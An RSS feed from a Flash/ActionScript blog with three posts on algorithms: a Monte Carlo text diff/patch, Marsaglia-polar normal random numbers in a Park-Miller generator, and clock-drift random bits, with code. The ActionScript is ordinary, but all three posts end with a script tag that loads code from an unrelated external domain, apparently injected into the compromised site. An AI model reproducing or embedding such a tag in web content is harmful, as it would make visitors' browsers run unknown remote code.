<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Controul &#187; Stochastic</title>
	<atom:link href="http://blog.controul.com/category/stochastic/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.controul.com</link>
	<description>Elaborations on flash.</description>
	<lastBuildDate>Thu, 29 Jul 2010 09:28:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>A diff/patch solution for Flash: a proof of concept Monte Carlo algorithm for comparing text versions in as3</title>
		<link>http://blog.controul.com/2009/05/diff-patch-for-flash-as3/</link>
		<comments>http://blog.controul.com/2009/05/diff-patch-for-flash-as3/#comments</comments>
		<pubDate>Tue, 05 May 2009 22:53:06 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Algorithms]]></category>
		<category><![CDATA[Stochastic]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=217</guid>
		<description><![CDATA[A discussion of two implementations of string/plaintext diff in Actionscript: the google-diff-match-patch, and a proof of concept diff algorithm based on random sampling of substrings.]]></description>
			<content:encoded><![CDATA[<p><em>EDIT 2:</em></p>
<p><a title="Patch.as" href="http://blog.controul.com/as3/Patch.as"><em>Patch.as</em></a><em> was fixed again, another issue with RangeErrors from ByteArray.writeUTF (). Well, forget certainty levels, but this time all should really be working just fine with strings of any length.</em></p>
<p><em>EDIT 1:</em></p>
<p><em><a title="Patch.as" href="http://blog.controul.com/as3/Patch.as">Patch.as</a></em><em> underwent some serious debugging and <em>unit </em>testing these days (thanks to Rich, see the comments below), so I&#8217;ve 95% certainty that the sources below (updated) are free from bugs. Anyway, the bugs we fixed were silly copy/paste havoc, so if you DO find something wrong about the Patch class, I doubt it&#8217;ll be difficult to fix.</em></p>
<p><em>Also check out the .reversed flag on the Patch object, it&#8217;s helpful when you need to &#8216;unpatch&#8217; a string.</em></p>
<p><em>/EDIT.</em></p>
<h3>diff and patch</h3>
<p><a title="diff, from Wikipedia" href="http://en.wikipedia.org/wiki/Diff">diff</a> is a file comparison tool in Unix-like environments, born in the 1970s, which takes two plain text files and outputs the spots where they differ. Its counterpart, <a title="patch (Unix), from Wikipedia" href="http://en.wikipedia.org/wiki/Patch_(Unix)">patch</a>, is a tool that applies diff output to files in order to keep them updated; this technique was used to synchronise content, often source code, on multiple workstations (today <a title="Subversion (software), from Wikipedia" href="http://en.wikipedia.org/wiki/Subversion_(software)">Subversion</a> uses the same trick), and later became the paradigm for <a title="Revision control, from Wikipedia" href="http://en.wikipedia.org/wiki/Revision_control">revision control</a> systems in collaborative content applications.</p>
<p>Generally speaking, diff works by solving the <a title="Longest common subsequence problem, from Wikipedia" href="http://en.wikipedia.org/wiki/Longest_common_subsequence_problem">longest common subsequence problem</a>; when dealing with texts, that&#8217;s finding the longest common substring. The operation could be repeated on the left and right of this biggest common chunk, and so on, until there&#8217;s nothing else to match. The optimal solution is the minimal set of edits (inserts and deletes) that would suffice to construct the new text from the old, or the most compact possible correct diff output.</p>
<h3>google-diff-match-patch</h3>
<p>I came across <a title="google-diff-match-patch, at Google Code" href="http://code.google.com/p/google-diff-match-patch/">google-diff-match-patch</a> when reading about <a title="An O(ND) Difference Algorithm and Its Variations, by Eugene W. Myers" href="http://www.xmailserver.org/diff2.pdf">the O(ND) diff</a>. The author of the library, <a title="Neil Fraser" href="http://neil.fraser.name/">Neil Fraser</a>, has done an amazing job in bringing what&#8217;s probably the most sophisticated diff algorithm to the world of web development, by creating a common API for javascript, java and python (hello <a title="Google App Engine, at Google Code" href="http://code.google.com/appengine/">App Engine</a>!), and also c++. The library is already ported to as3; you need to ask Neil for the code though, it&#8217;s still not in the repository.</p>
<p>Neil&#8217;s google-diff-match-patch provides you with a <a title="Demo of Diff, by Neil Fraser" href="http://neil.fraser.name/software/diff_match_patch/svn/trunk/demos/demo_diff.html">diff tool</a> and <a title="Demo of Patch, by Neil Fraser" href="http://neil.fraser.name/software/diff_match_patch/svn/trunk/demos/demo_patch.html">patch tool</a> for strings. The latter is extremely sweet and clever, because it works on a best effort basis: in case the patch tool is ran on a string which is not identical to the &#8216;original&#8217; text used by diff to make the patch, it looks up the areas to be patched by <a title="Approximate string matching, from Wikipedia" href="http://en.wikipedia.org/wiki/Fuzzy_string_searching">approximate string matching</a> of the patch context, and is thus pretty much capable of patching texts which have been even heavily modified in the meantime by another user or action.</p>
<p>There&#8217;s something that worries me about the O(ND) diff when applied on a character-by-character basis on long texts however, especially in the context of js virtual machines or the avm. I do not fully understand how the solver works, but I am afraid that it may be a little too combersome a computation in settings which are not completely theoretical. In other words, if you run the Google diff on two big enough texts with lots of common and differing chunks alternated throughout, the algorithm will choke, even for minutes.</p>
<h3>Why so serious?</h3>
<p>In my view, looking for an optimal diff solution is overkill. In fact, if one allows for some degree of suboptimal results, the computational effort needed to pull the trick can be radically decreased.</p>
<p>Well, I though that a problem such as that of finding common substrings in two strings would be a great way to get some experience with <a title="Monte Carlo method, from Wikipedia" href="http://en.wikipedia.org/wiki/Monte_Carlo_method">Monte Carlo</a> problem-solving, and decided to put together a quick and dirty proof of concept implementation of a plain text diff based on random sampling. Starting from <a title="Diff Strategies, by Neil Fraser" href="http://neil.fraser.name/writing/diff/">Neil&#8217;s articles</a> and the <a title="google-diff-match-patch, at Google Code" href="http://code.google.com/p/google-diff-match-patch/">google-diff-match-patch sources</a>, I aimed to build a diff which can relatively quickly find a near-to optimal solution, so to prevent the app from freezing, while avoiding the need for marsalling.</p>
<p>The following benchmark contrasts the performance and result quality (with no post-processing nor semantic clean-up) of my naive Monte Carlo diff and the Google O(ND) diff. The two texts are the first and last revision of my &#8216;Hello world!&#8217; post:</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_diffspeed_801139827"
			class=""
			width="100%"
			height="330">
	<param name="movie" value="http://blog.controul.com/swf/diffspeed.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/diffspeed.swf"
			name="fm_diffspeed_801139827"
			width="100%"
			height="330">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>There are a few possible explainations for why the google diff slows down this much. First of all, the O(ND) diff&#8217;s name suggests its time-complexity (N = A+B, the sum of the lengths of the texts being compared, and D being the shortest edit path). Another is in the nature of the port I have at my disposal, which shoots out a ton of warnings, and is nowhere near optimised for the avm <em>[EDIT: Indeed, running the same texts in the </em><a title="Demo of Diff, by Neil Fraser" href="http://neil.fraser.name/software/diff_match_patch/svn/trunk/demos/demo_diff.html"><em>diff demo of google-diff-match-patch</em></a><em> (in Chrome) yields timings that are about three times lower]</em>. Most importantly, the algorithm takes so much more time because of the much higher quality of its solution: still, most of this effort will be for nothing after an <a title="Diff Strategies, Neil Fraser" href="http://neil.fraser.name/writing/diff/">efficiency and semantic clean-up</a>, yet there is no real way to request less detail in the first place.</p>
<p>My point is that you don&#8217;t need an optimal solution to communicate text changes; you need a reasonably compact one, but asap. A quick patch can always be reduced server-side if needed, by recursively running diff on all insertion/deletion pairs of edits.</p>
<h3>What&#8217;s behind this &#8216;Monte Carlo&#8217; diff</h3>
<p>Small substrings from the shorter text are taken, and if they exist in the longer text, a binary search begins on their left and right expanding them in the two directions. When an entire common chunk is found, its location and length are recorded and excluded from the search, hence reducing the problem size. The first two substrings are taken from the begining and the end of shorter string, so to quickly find and rule-out the common prefix or suffix (if any), after which the search goes on at random locations.</p>
<p>Arbitrary decision rules determine when the search will stop, and then a simple solver kicks in to resolve conflicts among the discovered common substring. Such conflicts usually involve chunk overlapping, but can also consist in N-to-1 relationships in between chunks in two texts, usually when those two have repetitive common parts (copy-pasting is good reason for such a thing to happen). Because some conflicts will require that common chunks get discarded, before running the solver, the commonalities are sorted (and thus prioritised) by length: hence naively solving the <a title="Longest common subsequence problem, from Wikipedia" href="http://en.wikipedia.org/wiki/Longest_common_subsequence_problem">longest common subsequence problem</a>. Conflicts are cheap to resolve however, and this step adds very little overhead to the whole algorithm.</p>
<p>Finally, as an optional post-processing step, semantic adjustment takes place, aligning all chunks to whitespace and punctuation, hence yielding human readable output.</p>
<h3>What you can do with this</h3>
<p>The demo below gives you a basic interface to play around with the API. The scenario mimics the google-diff-match-patch <a title="Demo of Patch, by Neil Fraser" href="http://neil.fraser.name/software/diff_match_patch/svn/trunk/demos/demo_patch.html">Shakespeare demo</a>. The first two fields contain the old and new versions of the text to be diffed. The following row displays the computed patch in the google-diff-match-patch &#8216;emulated&#8217; <a title="diff #Unified format, from Wikipedia" href="http://en.wikipedia.org/wiki/Diff#Unified_format">unified diff format</a>, and a human-readable version of the solution. Finally, the final row provides an input field for a text to be patched, and a result field for the patch operation.</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_diffpatch_134869000"
			class=""
			width="100%"
			height="550">
	<param name="movie" value="http://blog.controul.com/swf/diffpatch.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/diffpatch.swf"
			name="fm_diffpatch_134869000"
			width="100%"
			height="550">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>The approximate string matching functionality of the patch tool is built directly over Neil&#8217;s implementation of the <a title="Bitap algorithm, from Wikipedia" href="http://en.wikipedia.org/wiki/Bitap_algorithm">Bitap algorithm</a>; I have ported Neil&#8217;s code to as3, doing my best to optimise it for the avm.</p>
<p>Worth noting is that the API is fully compatible with the google-diff-match-patch library through this pseudo-unified serialisation format; hence you can be running the Google diff on the server-side, and this quick diff in the client with no complications.</p>
<h3>Grounds for improvement</h3>
<p>In terms of performance, there is a lot that could be done with the algorithm&#8217;s search logic; currently it abuses the substring and indexOf methods, and they are indeed slow. An inconclusive charAt () binary search with a final substring comparison will probably render the algorithm much faster in most situations. Another thing to look into is to direct the random sampling process towards areas that are more likely to contain commonalities and preventing it from sampling the same substring more than once.</p>
<h3>Source</h3>
<p><a title="Patch.as" href="http://blog.controul.com/as3/Patch.as">Patch.as</a>, <a title="Bitap.as" href="http://blog.controul.com/as3/Bitap.as">Bitap.as</a></p>
<p>These are the current sources. The code is still in the works though, so let me know if you spot any trouble.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/05/diff-patch-for-flash-as3/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Random numbers: standard normal distribution in flash/as3</title>
		<link>http://blog.controul.com/2009/04/standard-normal-distribution-in-as3/</link>
		<comments>http://blog.controul.com/2009/04/standard-normal-distribution-in-as3/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 22:25:19 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Algorithms]]></category>
		<category><![CDATA[Stochastic]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=138</guid>
		<description><![CDATA[An implementation of the Marsaglia polar transform in Actionscript (a method for generation of standard normal random numbers from uniformly distributed random input) built into a Park-Miller pseudo-random number generator.]]></description>
			<content:encoded><![CDATA[<p>Posting about <a title="True random numbers in Flash: measuring clock drift" href="http://blog.controul.com/2009/04/true-random-numbers-in-flash-clock-drift/">measuring clock drift</a> got me in the mood of poking random numbers a bit more. Well, about an year ago I decided I needed normally distributed <a title="Pseudorandom number generator, from Wikipedia" href="http://en.wikipedia.org/wiki/Pseudorandom_number_generator">prng</a> output, but never really used it for anything. I am sharing a solution in my best hope that someone will spare themselves the headbanging part.</p>
<p>The <a title="Normal distribution, from Wikipedia" href="http://en.wikipedia.org/wiki/Normal_distribution">normal distribution</a> is one of those things one should be acquainted with if about to deal with statistics, simulations or even procedural art. Anyhow, the main problem with normal pseudo-random numbers in flash is obtaining them, because the usual output of every prng follows the <a title="Uniform distribution (continuous), from Wikipedia" href="http://en.wikipedia.org/wiki/Uniform_distribution_(continuous)">uniform distribution</a> and one has to map that output to the distribution of interest. The reasonable solutions I have explored are three; one is using lookup tables, which is self-explanatory and very inexpensive, but unfortunately also painfully boring.</p>
<p>Another is making use of the <a title="Central limit theorem, from Wikipedia" href="http://en.wikipedia.org/wiki/Central_limit_theorem">central limit theorem</a>, which in real life boils down to <a title="The Amazing Normal Distribution Function, from YouTube" href="http://www.youtube.com/watch?v=xDIyAOBa_yU">this</a>. One can take, say, 10 numbers extracted from a uniformly distributed population (read Math.random) and take their average, whose sampling distribution will approximate to some extent the normal distribution.</p>
<p>I fancy using the <a title="Box–Muller transform, from Wikipedia" href="http://en.wikipedia.org/wiki/Box-Muller_transform">Box-Muller transform</a> or, more specifically, the <a title="Marsaglia polar method, from Wikipedia" href="http://en.wikipedia.org/wiki/Marsaglia_polar_method">Marsaglia polar method</a>, which is a less computationally expensive variation of the former. Both take a pair of uniformly distributed inputs and map them to two (independent and uncorrelated) standard normal outputs. Effectively, this means that one could take any prng, be it Math.random, a <a title="Park–Miller random number generator, from Wikipedia" href="http://en.wikipedia.org/wiki/Park%E2%80%93Miller_random_number_generator">Park-Miller</a> <a title="Linear congruential generator, from Wikipedia" href="http://en.wikipedia.org/wiki/Linear_congruential_generator">lcg</a> (again, check out the one on <a title="A good pseudo random number generator, by Michael Baczynski" href="http://lab.polygonal.de/2007/04/21/a-good-pseudo-random-number-generator-prng/">Polygonal labs</a>), a <a title="Mersenne twister, from Wikipedia" href="http://en.wikipedia.org/wiki/Mersenne_twister">Mersenne twister</a> or whatever, and map its output to the standard normal distribution.</p>
<p>For better performance, the mapping algorithm could be built into the prng so that all operations are performed within one call. This is even more valid for the Marsaglia method, because it relies on rejective sampling, which means that it rejects a pair of random inputs every now and then and requests another. The code snippets below demonstrate the Marsaglia transform built into a Park-Miller prng, whose core logic consists in just a couple of lines:</p>
<pre class="prettyprint">public class ParkMiller
{
	/**
	 *	Seeds the prng.
	 */
	private var s : int;
	public function seed ( seed : uint ) : void
	{
		s = seed &gt; 1 ? seed % 2147483647 : 1;
	}

	/**
	 *	Returns a Number ~ U(0,1)
	 */
	public function uniform () : Number
	{
		return ( ( s = ( s * 16807 ) % 2147483647 ) / 2147483647 );
	}</pre>
<p>When you call uniform(), the seed value is multiplied by 16807 (a <a title="Primitive root modulo n, from Wikipedia" href="http://en.wikipedia.org/wiki/Primitive_root_modulo_n">primitive root modulo</a>) and set to the remainder of the product divided by 2147483647 (a <a title="Mersenne prime, from Wikipedia" href="http://en.wikipedia.org/wiki/Mersenne_prime">Mersenne prime</a>, 2^31-1, or the int.MAX_VALUE). This new value is returned as a Number in the range (0,1).</p>
<p>The histogram below illustrates the uniform distribution of the prng output:</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_uniform_1884462857"
			class=""
			width="100%"
			height="100">
	<param name="movie" value="http://blog.controul.com/swf/uniform.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/uniform.swf"
			name="fm_uniform_1884462857"
			width="100%"
			height="100">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>The uniform pseudo-random values will be fed to the Marsaglia transform, whose simple algorithm is well described in its <a title="Marsaglia polar method, from Wikipedia" href="http://en.wikipedia.org/wiki/Marsaglia_polar_method">Wikipedia article</a>. An as3 implementation with inlined uniform() getters could look like this:</p>
<pre class="prettyprint">	/**
	 *	Returns a Number ~ N(0,1);
	 */
	private var ready : Boolean;
	private var cache : Number;
	public function standardNormal () : Number
	{
		if ( ready )
		{				//  Return a cached result
			ready = false;		//  from a previous call
			return cache;		//  if available.
		}

		var	x : Number,		//  Repeat extracting uniform values
			y : Number,		//  in the range ( -1,1 ) until
			w : Number;		//  0 &lt; w = x*x + y*y &lt; 1
		do
		{
			x = ( s = ( s * 16807 ) % 2147483647 ) / 1073741823.5 - 1;
			y = ( s = ( s * 16807 ) % 2147483647 ) / 1073741823.5 - 1;
			w = x * x + y * y;
		}
		while ( w &gt;= 1 || !w );

		w = Math.sqrt ( -2 * Math.log ( w ) / w );

		ready = true;
		cache = x * w;			//  Cache one of the outputs
		return y * w;			//  and return the other.
	}
}</pre>
<p>The following histogram displays the distribution of this new getter:</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_normal_1985634800"
			class=""
			width="100%"
			height="100">
	<param name="movie" value="http://blog.controul.com/swf/normal.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/normal.swf"
			name="fm_normal_1985634800"
			width="100%"
			height="100">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>Performance-wise, there is some ground for reducing the algorithm&#8217;s overhead. One could, for ranges of values, approximate the square root with, for example, an inlined <a title="Methods of computing square roots, from Wikipedia" href="http://en.wikipedia.org/wiki/Babylonian_method#Babylonian_method">Babylonian calculation</a>. The <a title="Natural logarithm, from Wikipedia" href="http://en.wikipedia.org/wiki/Natural_logarithm#Numerical_value">natural logarithm</a> can also be easily approximated for values not too close to zero. Still, every approximation comes at the cost of some precision, and the above implementation will be fast enough for most uses; on my notebook I get a million numbers for about 350 milliseconds.</p>
<p>Finally, the <a title="Ziggurat algorithm" href="http://en.wikipedia.org/wiki/Ziggurat_algorithm">Ziggurat algorithm</a> is an alternative to the Marsaglia transform, and has the promise of better perfomance if well optimised. Still, I personally haven&#8217;t managed to make it work all that great in as3.</p>
<p>Source: <a title="ParkMiller.as" href="http://blog.controul.com/as3/ParkMiller.as">ParkMiller.as</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/04/standard-normal-distribution-in-as3/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>True random numbers in flash/as3: measuring clock drift</title>
		<link>http://blog.controul.com/2009/04/true-random-numbers-in-flash-clock-drift/</link>
		<comments>http://blog.controul.com/2009/04/true-random-numbers-in-flash-clock-drift/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 02:06:04 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Algorithms]]></category>
		<category><![CDATA[Stochastic]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=82</guid>
		<description><![CDATA[An algorithm for hardware/real random number generation in Flash/as3 through measuring system clock and cpu time drift.]]></description>
			<content:encoded><![CDATA[<p>This is one of those things that I will surely never come to use; it crossed my mind a couple of days ago though, and I though it would be worth putting together and then up here.</p>
<p>There are a many potential sources of true randomness in flash. An example would be listening for microphone or camera noise; such an approach is however contingent on access to a|v hardware. <a title="Entropy (computing), from Wikipedia" href="http://en.wikipedia.org/wiki/Entropy_(computing)">Entropy</a> can also be pooled from simple user interactions, such as mouse movements. Still, any entropy pool could run dry after a series of requests if it is not given the chance to rebuild.</p>
<p>Measuring <a title="Clock Drift, from Wikipedia" href="http://en.wikipedia.org/wiki/Clock_drift">clock/cpu drift</a> is very expensive, but provides pretty unpredictable output and, because random bits are generated and not pooled, does not limit the number of random bits that one could obtain at any given time.</p>
<pre class="prettyprint">package com.controul.math.rng
{
	import flash.utils.getTimer;
	public class ClockDrift
	{
		public function random ( bits : uint = 32 ) : uint
		{
			if ( bits &gt; 32 )
				bits = 32;
			var	r : uint = 0,
				i : uint = 0,
				t : uint = getTimer ();
			for ( ;; )
			{
				if ( t != ( t = getTimer () ) )
				{
					if ( i &amp; 1 )
						r |= 1;
					bits --;
					if ( bits &gt; 0 )
					{
						i = 0;
						r &lt;&lt;= 1;
					}
					else
						break;
				}
				i ++;
			}
			return r;
		}
	}
}</pre>
<p>What the algorithm does is to count the number of loop iterations that happen during a millisecond, and then to set the next bit to true if this count is odd, or to false if it&#8217;s even. As it takes a millisecond to produce every single random bit, a random uint (zero to 0xffffffff) takes 32 milliseconds to get generated.</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_clockdrift_486774263"
			class="float-right"
			width="256"
			height="256">
	<param name="movie" value="http://blog.controul.com/swf/clockdrift.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/clockdrift.swf"
			name="fm_clockdrift_486774263"
			width="256"
			height="256">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>Such an extremely slow solution may be most useful as a last resort for keeping an entropy pool from running dry; the pool can rely on a mix of other stuff, like user mouse movements, download speed sampling, a/v hardware noise, enterframe timing, etc to provide enough random bits for occasional requests.</p>
<p>Anyway, only hardcore security stuff, such as the <a title="as3crypto, at GoogleCode" href="http://code.google.com/p/as3crypto/">as3crypto</a> framework, needs unpredictable &#8216;random&#8217; number generation. For non-cryptographic uses, one should go for a regular <a title="Pseudorandom number generator, from Wikipedia" href="http://en.wikipedia.org/wiki/PRNG">prng</a>, be it Math.random, or one with a specifiable seed value, such as the <a title="A good Pseudo-Random Number Generator (PRNG), by Michael Baczynski" href="http://lab.polygonal.de/2007/04/21/a-good-pseudo-random-number-generator-prng/">Park-Miller</a> prng supplied by <a title="Polygonal labs" href="http://lab.polygonal.de/">polygonal labs</a>.</p>
<p>Source: <a title="ClockDrift.as" href="http://blog.controul.com/as3/ClockDrift.as">ClockDrift.as</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/04/true-random-numbers-in-flash-clock-drift/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
